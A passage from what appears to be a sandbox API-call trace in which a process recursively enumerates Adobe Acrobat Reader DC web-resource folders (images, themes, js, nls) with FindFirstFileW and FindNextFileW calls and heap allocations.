ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.173] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0255.173] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0255.173] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0255.173] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0255.174] GetProcessHeap () returned 0xc10000 [0255.174] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0255.174] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0255.174] GetProcessHeap () returned 0xc10000 [0255.174] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0255.174] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0255.492] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.492] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0255.492] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0255.492] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="file_icons.png", cAlternateFileName="FILE_I~1.PNG")) returned 1 [0255.493] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons.png", cAlternateFileName="")) returned 1 [0255.493] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0255.493] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0255.493] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0255.493] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0255.493] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0255.493] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0255.493] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0255.494] GetProcessHeap () returned 0xc10000 [0255.494] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0255.494] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0255.495] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.495] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0255.495] GetProcessHeap () returned 0xc10000 [0255.496] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.498] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.502] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.502] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0255.502] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0255.502] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6004, dwReserved0=0x0, dwReserved1=0x0, cFileName="file_icons.png", cAlternateFileName="FILE_I~1.PNG")) returned 1 [0255.502] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons.png", cAlternateFileName="")) returned 1 [0255.502] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0255.502] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0255.502] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0255.503] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0255.503] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0255.503] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0255.503] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 0 [0255.503] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.505] GetProcessHeap () returned 0xc10000 [0255.505] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.505] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0255.505] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0255.505] GetProcessHeap () returned 0xc10000 [0255.505] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0255.505] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0255.505] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0255.506] GetProcessHeap () returned 0xc10000 [0255.506] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0255.518] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0255.518] GetProcessHeap () returned 0xc10000 [0255.518] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0255.519] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0255.528] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.528] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0255.528] GetProcessHeap () returned 0xc10000 [0255.528] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0255.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0255.531] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.531] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, 